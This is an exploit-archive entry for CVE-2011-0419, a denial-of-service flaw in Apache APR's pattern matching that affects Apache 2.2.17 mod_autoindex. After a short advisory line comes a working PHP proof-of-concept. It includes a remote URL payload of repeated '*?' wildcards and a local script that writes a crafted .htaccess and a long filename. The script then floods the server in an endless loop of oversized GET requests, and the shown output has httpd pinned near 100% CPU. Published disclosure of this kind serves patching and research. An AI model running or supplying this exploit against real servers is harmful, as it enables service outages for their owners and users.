source: https://www.securityfocus.com/bid/47820/info

Apache APR is prone to a vulnerability that may allow attackers to cause a denial-of-service condition.

Apache APR versions prior to 1.4.4 are vulnerable. 

<?php
/*
Apache 2.2.17 mod_autoindex local/remote Denial of Service
author: Maksymilian Arciemowicz

CVE: CVE-2011-0419
CWE: CWE-399

REMOTE
Find some directory with supported mod_autoindex on the server. The directory should contain long filenames.

http://[server]/[directory_with_mod_autoindex]/?P=*?*?*?[to 4k]

LOCAL
Tested on:
127# httpd -v && uname -a 
Server version: Apache/2.2.17 (Unix)
Server built:   Dec 28 2010 13:21:44
NetBSD localhost 5.1 NetBSD 5.1 (GENERIC) #0: Sun Nov  7 14:39:56 UTC 2010  builds@b6.netbsd.org:/home/builds/ab/netbsd-5-1-RELEASE/i386/201011061943Z-obj/home/builds/ab/netbsd-5-1-RELEASE/src/sys/arch/i386/compile/GENERIC i386

Result:
127# ls -la   
total 8
drwxrwxrwx  2 root  wheel   512 Feb  8 21:41 .
drwxr-xr-x  7 www   wheel  1024 Jan 31 08:49 ..
-rw-r--r--  1 www   wheel  1056 Feb  8 19:39 .htaccess
-rw-r--r--  1 www   wheel     0 Feb  8 19:39 cx.............................................................................................................................
-rw-r--r--  1 www   wheel  1240 Feb  8 19:42 run.php
127# ps -aux -p 617 
USER PID %CPU %MEM   VSZ  RSS TTY STAT STARTED      TIME COMMAND
www  617 98.6  0.4 10028 4004 ?   R     7:38PM 121:43.17 /usr/pkg/sbin/httpd -k start 

Time = 121:43 and counting

where http://[$localhost]:[$localport]/[$localuri]
*/
$localhost="localhost";
$localport=80;
$localuri="/koniec/";


if(!is_writable(".")) die("!writable");

// Phase 1
// Create some filename
touch("cx".str_repeat(".",125));

// Phase 2
// Create .htaccess with 
unlink("./.htaccess");
$htaccess=fopen("./.htaccess", "a");
fwrite($htaccess,"AddDescription \"CVE-2011-0419\" ".str_repeat('*.',512)."\n");
fclose($htaccess);

// Phase 3
// Local connect (bypass firewall restriction)
while(1){
	$fp = fsockopen($localhost, $localport, $errno, $errstr, 30);
	if (!$fp) echo "$errstr ($errno)<br />\n";
	else {
		$out = "GET ".$localuri."/?P=".str_repeat("*?",1500)."* HTTP/1.1\r\n";
		$out .= "Host: ".$localhost."\r\n";
		$out .= "Connection: Close\r\n\r\n";
		fwrite($fp, $out);
		fclose($fp);
	}
}

?>